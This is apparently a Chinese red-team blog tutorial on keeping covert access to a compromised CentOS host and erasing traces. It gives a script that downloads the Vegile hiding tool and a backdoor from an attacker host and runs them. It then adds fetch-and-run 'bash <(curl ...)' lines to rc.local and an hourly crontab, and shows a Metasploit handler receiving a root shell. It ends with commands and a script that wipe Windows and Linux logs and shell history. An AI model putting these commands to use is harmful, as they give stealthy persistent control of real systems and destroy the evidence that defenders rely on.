当前位置: 首页 > article >正文

红队/白帽必经之路(23)——如何通过如何使用脚本以及Metasploit来进行自动创建后门以及如何做到红方真正的销声匿迹 [既然是红队,那就对自己狠一点]

欢迎各位彦祖与热巴畅游本人专栏与博客

你的三连是我最大的动力

以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]

专栏跑道一

➡️网络空间安全——全栈前沿技术持续深入学习 


专栏跑道二


➡️ 24 Network Security -LJS 

​ 

专栏跑道三


 ➡️ MYSQL REDIS Advance operation

专栏跑道四

➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]

专栏跑道五


➡️RHCE-LJS[Linux高端骚操作实战篇]

专栏跑道六

➡️数据结构与算法[考研+实际工作应用+C程序设计]

专栏跑道七

➡️RHCSA-LJS[Linux初级及进阶骚技能]

上节回顾

目录

欢迎各位彦祖与热巴畅游本人专栏与博客

你的三连是我最大的动力

以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]

专栏跑道一

➡️网络空间安全——全栈前沿技术持续深入学习 

专栏跑道二

➡️ 24 Network Security -LJS 

专栏跑道三

 ➡️ MYSQL REDIS Advance operation

专栏跑道四

➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]

专栏跑道五

➡️RHCE-LJS[Linux高端骚操作实战篇]​编辑​

专栏跑道六

➡️数据结构与算法[考研+实际工作应用+C程序设计]

专栏跑道七

➡️RHCSA-LJS[Linux初级及进阶骚技能]

上节回顾

1.实战-使用脚本来进行自动创建后门

1.2配置脚本程序

写入以下内容

回到 MSF 控制台进行测试

回到centos 上执行一下脚本

参数详解:

回到 MSF 控制台

这时候pwd

注意:

1.3配置开机启动

把所需执行命令添加到开机启动项

原因:

添加可执行权限

回到 MSF 控制台开启侦听

reboot centos 操作系统

1.3配置计划任务

查看系统级别计划任务

参数详解:

末行添加:

2.系统日志清理——销声匿迹

2.1Windows 日志清理

删除系统日志目录下的一些日志文件。

2.2Linux 日志清理

清理历史命令

让系统不再保存历史命令

删除访问日志

最后脚本汇总

注意:


1.实战-使用脚本来进行自动创建后门

1.2配置脚本程序

写入以下内容

#!/bin/bash

#切换工作目录
cd /tmp/

#把前面下载 Vegile 到执行后门文件的命令使用&&拼接成一条命令;&&表示前面的命令执行成功则执行下一条命令

# echo y | 表示将 y 作为 Vegile 命令的输入,因为执行 Vegile 命令是需要我们按任意键退出,所
以我们手动输入一个字符让程序执行完成后自动退出。

#>> /dev/null 2>&1 不显示所有输出结果。

wget 192.168.1.53/Vegile-master.zip && unzip Vegile-master.zip && cd Vegile-master && chmod
+x Vegile && wget 192.168.1.53/xuegod-ghost && chmod +x xuegod-ghost && echo y | ./Vegile --i xuegod-ghost >> /dev/null 2>&1

#2>&1 的意思就是将标准错误重定向到标准输出。这里标准输出已经重定向到了 /dev/null。那么标准错误也会输出到/dev/null。/dev/null 可以看作"黑洞". 它等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到


#删除下载的所有文件

rm -rf /tmp/Vegile-master.zip /tmp/Vegile-master

  • 保存退出即可,脚本文件不需要添加执行权限

回到 MSF 控制台进行测试

  • 首先我们先清空后台任务和前面已经建立的 session

 

┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# msfconsole
Metasploit tip: Use the analyze command to suggest runnable modules for 
hosts
                                                  
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v6.3.55-dev                          ]
+ -- --=[ 2397 exploits - 1232 auxiliary - 422 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/



msf6 > 
msf6 > 
msf6 > use /exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > jobs -K
Stopping all jobs...
msf6 exploit(multi/handler) > sessions -K
[*] Killing all sessions...
msf6 exploit(multi/handler) >  exploit -j

 

回到centos 上执行一下脚本

参数详解:
  • bash <() #表示将括号中的内容通过 bash 来执行
  • curl -s -L #curl 是一个利用 URL 语法在命令行下进行文件传输的工具
  • -s --silent #表示静默模式不输出任何内容
  • -L 跟 http 连接,组合使用的效果是把 http 连接中的文件下载到内存中,然后传 bash,进行执行。
  • 上述的好处是:本地不会保存任何文件。
  • >> /dev/null 2>&1   不输出任何信息

回到 MSF 控制台

这时候pwd

msf6 exploit(multi/handler) > sessions -i 21
[*] Starting interaction with 21...
pwd
pwd: error retrieving current directory: getcwd: cannot access parent directories: No
such file or directory
  • 可以看到,提示目录不存在,因为 payload 所在的 Vegile-master 目录已被删除,我们只需要切换目录即可。
cd /root/
pwd
/root
id
uid=0(root) gid=0(root) groups=0(root)

注意:
  • tmp 目录中我们下载的所有文件也被清除。

1.3配置开机启动

把所需执行命令添加到开机启动项

原因:
  • 一般黑帽进来都会在开机启动项里加点东西,/etc/rc.local
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# echo "bash <(curl -s -L http://192.168.1.53/xuegod.sh) >>/dev/null 2>&1" >> /etc/rc0.d/rc.local  

添加可执行权限

                                                                                        
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  chmod +x /etc/rc0.d/rc.local

回到 MSF 控制台开启侦听

msf6 exploit(multi/handler) >  sessions -K   #删除原来的会话
[*] Killing all sessions...
msf6 exploit(multi/handler) > exploit -j       #重新侦听

reboot centos 操作系统

1.3配置计划任务

查看系统级别计划任务

┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  ll /etc/crontab
-rw-r--r-- 1 root root 1042 2024年 1月21日 /etc/crontab

┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  vim /etc/crontab

参数详解:
  • PATH=/sbin:/bin:/usr/sbin:/usr/bin #系统执行命令的搜索路径
    MAILTO=root #将执行任务的信息通过邮件发送给 xx 用户

末行添加:

0 */1 * * * root bash <(curl -s -L http://192.168.1.53/xuegod.sh) >> /dev/null 2>&1
#保存退出,每小时执行一次。

2.系统日志清理——销声匿迹

2.1Windows 日志清理

  • Win+R 运行:eventvwr
  • 正常的远程访问在 windows 的时间查看器中可以看到相关记录

回到控制台查看

删除系统日志目录下的一些日志文件。

meterpreter > shell
C:\Windows\system32>del %WINDIR%\*.log /a/s/q/f



del:删除文件。
%WINDIR%*.log:
%WINDIR%:Windows 操作系统安装目录,通常为 C:\Windows。
*.log:匹配所有 .log 后缀的日志文件。
/a:按属性删除文件。可以删除具有指定属性的文件(例如只读、隐藏、系统文件等)。
/s:递归删除当前目录及所有子目录中的 .log 文件。
/q:安静模式,不显示删除确认提示,直接删除。
/f:强制删除只读文件。

2.2Linux 日志清理

清理历史命令

history -c

让系统不再保存历史命令

vi /etc/profile,找到 HISTSIZE 这个值,修改为 0

删除访问日志

1. 访问失败的日志

删除登录失败记录:

echo > /var/log/btmp

2. 访问成功的日志

删除登录成功记录:

echo > /var/log/wtmp 

#此时再次执行 last 命令就会发现没有记录

3. 删除日志记录:

echo > /var/log/secure

最后脚本汇总

┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# cat clog.sh
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
history -c

注意:
  • 执行时查看文件是否有执行权限且删除日志一般只有 root 权限才可以。



http://www.kler.cn/a/445289.html

相关文章:

  • IIC I2C子协议 SMBus协议 通信协议原理 时序 SMBus深度剖析
  • FPGA:FPGA器件选型
  • ChatGPT重大更新:新增实时搜索和高级语音
  • 小红书关键词搜索采集 | AI改写 | 无水印下载 | 多维表格 | 采集同步飞书
  • 基于w25q128的智能门禁
  • C05S07-Tomcat服务架设
  • 面试题整理4----lvs,nginx,haproxy区别和使用场景
  • 【iOS安全】NSTaggedPointerString和__NSCFString
  • v-model(Vue3)
  • RK3588平台上YOLOv8模型转换与CentOS 7.8 Docker镜像拉取超时问题解决指南
  • TDengine 新功能 从 CSV 批量创建子表
  • Ubuntu22.04上安装esp-idf
  • Scalable Io-NIO实践
  • 使用 DeepSpeed 微调 OPT 基础语言模型
  • 【新版】阿里云ACP大数据工程师模拟试题(含答案解析)
  • wepack的各个版本差异?
  • 生产环境kafka升级过程
  • RadiAnt DICOM - 基本主题 :从 PACS 服务器打开研究
  • 彻底理解如何优化接口性能
  • 【Python】Selenium模拟滚动鼠标,向下拖动下拉按钮,直至网页页面向下滑的方法
  • vue3+vite 引入动画组件库 Inspira UI
  • Python机器学习算法KNN、MLP、NB、LR助力油气钻井大数据提速参数优选及模型构建研究...
  • flask-admin+Flask-WTF 实现实现增删改查
  • HTMLCSS:酷炫的3D开关控件
  • 设计模式详解(十一):模板方法——Template Method
  • 数字化供应链:背景特点